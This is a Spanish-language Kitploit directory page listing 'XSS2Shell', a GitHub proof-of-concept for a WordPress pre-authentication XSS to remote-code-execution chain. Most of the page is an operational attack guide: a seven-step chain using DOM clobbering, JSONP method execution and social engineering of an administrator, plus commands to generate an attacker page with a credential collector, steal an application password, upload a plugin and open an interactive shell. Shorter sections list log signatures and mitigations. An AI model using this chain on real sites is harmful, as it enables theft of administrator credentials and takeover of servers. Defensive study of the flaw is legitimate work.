Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poc-CVE-2026-64638- — Cadena de exploits PoC para WordPress que permite pasar de XSS previo a la autenticación a RCE mediante DOM clobbering, REST JSONP/SOME y carga de plugins, con verificación mediante laboratorio Docker y shell interactiva. | Kitploit
Herramientas/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
Herramientas de PhishingGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónIngeniería SocialRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
mohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

Cadena de exploits PoC para WordPress que permite pasar de XSS previo a la autenticación a RCE mediante DOM clobbering, REST JSONP/SOME y carga de plugins, con verificación mediante laboratorio Docker y shell interactiva.

Ver Repositorio
6hace 1 mesAún no revisado

XSS2Shell — PoC del CVE-2026-64638

Cadena de explotación de XSS pre-autenticación → RCE en WordPress, basada en la investigación de pwn.ai publicada en ionsec.io.

⚠️ AVISO LEGAL: Solo para FINES EDUCATIVOS y PRUEBAS AUTORIZADAS. Úselo únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito.

Verificación en Laboratorio

PasoTécnicaEstado
1XSS por diferencia de parser (sanitize_user + discrepancia de parseo del navegador)✅ Verificado
2DOM clobbering (<area id=ajaxurl>, <div id=color-picker>)✅ Verificado
3Auto-disparo de user-profile.js en la página de inicio de sesión✅ Verificado
4La devolución de llamada JSONP de REST permite el recorrido de puntos (window.opener.approve.click)✅ Verificado
5Sobrescritura con _method=GET + _envelope=1✅ Verificado
6Robo de contraseñas de aplicación (SOME)⚠️ Requiere clic del administrador
7Subida de plugin → ejecución de PHP (sin activación)⚠️ Requiere credenciales

Consulta lab/VERIFICATION_REPORT.md para conocer todos los detalles.

Resumen de la Vulnerabilidad

Cadena de Explotación (7 Pasos)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Inicio Rápido

1. Instalar dependencias

root@kitploit:~
pip install requests

2. Reconocimiento del objetivo

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Laboratorio Docker (para pruebas)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Verificar el vector XSS contra el laboratorio

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Generar la página del atacante

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Sube xss2shell_attacker.html y collect.php a tu servidor.

6. Enviar el enlace al administrador

Un administrador de WordPress con sesión iniciada debe visitar la página del atacante y hacer clic una vez.

7. Recibir las credenciales

Las credenciales aparecen en collected_creds.json en tu servidor:

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Ejecutar la cadena RCE

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Shell interactivo

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Limpieza

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Detección (Forense de Registros)

Firmas a buscar en los registros del servidor:

  • Registro de acceso: POST /wp-login.php con el cuerpo que contenga < area, < div, < button
  • Registro de acceso: solicitud REST con el parámetro de consulta _jsonp= (especialmente _jsonp=a.b.c — el punto es la señal de SOME)
  • Registro de acceso: _envelope=1 + _method=GET en rutas que deberían rechazarlos
  • Registro de acceso: POST /wp-admin/update.php?action=upload-plugin desde una IP no reconocida
  • Registro de acceso: GET /wp-content/plugins/{unknown-plugin}/*.php — archivo PHP en un plugin nunca activado
  • Registro de la aplicación: contraseña de aplicación creada a los pocos segundos de una solicitud a authorize-application.php

Mitigación

  1. Aplica el parche a WordPress 7.0.3 (o la última versión de punto para tu rama)
  2. Rota todas las contraseñas de aplicación de administrador
  3. Deshabilita las contraseñas de aplicación si no son necesarias:
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. Deshabilita REST JSONP:
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. Deshabilita las modificaciones de archivos:
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. Reglas WAF: Bloquea _jsonp=, _envelope= en los endpoints REST; bloquea < area en el cuerpo POST de wp-login.php

Estructura de Archivos

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

Referencias

  • IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
  • pwn.ai — Descubrimiento original
  • WordPress Security Releases
Descargar herramienta
ElementoDetalle
CVECVE-2026-64638
CVSS 4.08.9
AfectadosWordPress 4.7 – 7.0.2 (versiones de punto sin parchear)
CorregidoWordPress 7.0.3 (6 de agosto de 2026), retroportado a todas las ramas de mantenimiento
AutenticaciónPre-autenticación (XSS no autenticado)
ImpactoRCE mediante la subida de un plugin